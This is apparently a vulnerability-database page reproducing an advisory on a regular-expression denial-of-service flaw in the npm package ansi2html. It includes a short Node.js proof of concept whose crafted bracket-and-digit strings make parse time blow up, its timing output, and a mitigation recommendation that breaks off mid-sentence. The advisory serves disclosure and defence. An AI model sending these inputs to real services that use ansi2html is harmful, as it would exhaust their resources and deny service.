cnvd-2018-19055

EUVD-2026-170204

fkie_cve-2015-9239

ansi2html is vulnerable to regular expression denial of service (ReDoS) when certain types of user input is passed in.

GHSA-c2v2-7rcg-2ch7 — Regular Expression Denial of Service in ansi2html

Affected: npm: ansi2html

The `ansi2html` package is affected by a regular expression denial of service vulnerability when certain types of user input is passed in.

## Proof of concept ``` var ansi2html = require('ansi2html')

var start = process.hrtime(); ansi2html("[1111111111111111111111;0000000000000000000000"); console.log(process.hrtime(start));

start = process.hrtime(); ansi2html("[1111111111111111111111;00000000000000000000000"); console.log(process.hrtime(start));

start = process.hrtime(); ansi2html("[1111111111111111111111;000000000000000000000000"); console.log(process.hrtime(start));

start = process.hrtime(); ansi2html("[1111111111111111111111;0000000000000000000000000000"); console.log(process.hrtime(start)); ```

Results of the above ``` 00:29:53-adam_baldwin~/tmp$ node test [ 0, 119615367 ] [ 0, 149934565 ] [ 0, 233325677 ] [ 3, 46582479 ] ```

## Recommendation

At the time of this writing, February 2018, all versions of `ansi2html` remain vulnerable, and the package has not been updated for 4 years.

In order to use this package safely, it is necessary to avoid passing user input to the package, or to limit the size of the input string to a size with a parse time you find acceptable. Unfortunately, the match time grows at quite a small character count, so it is unlikely for it to both allow strings of a useful size while protecting against the denial of service attack.

In the case that user input of significant length must be parsed by ansi2html, the best mitigation is to us…

Most recent entries from all

cnvd-2018-19055

EUVD-2026-170204

fkie_cve-2015-9239

GHSA-c2v2-7rcg-2ch7 — Regular Expression Denial of Service in ansi2html

gsd-2015-9239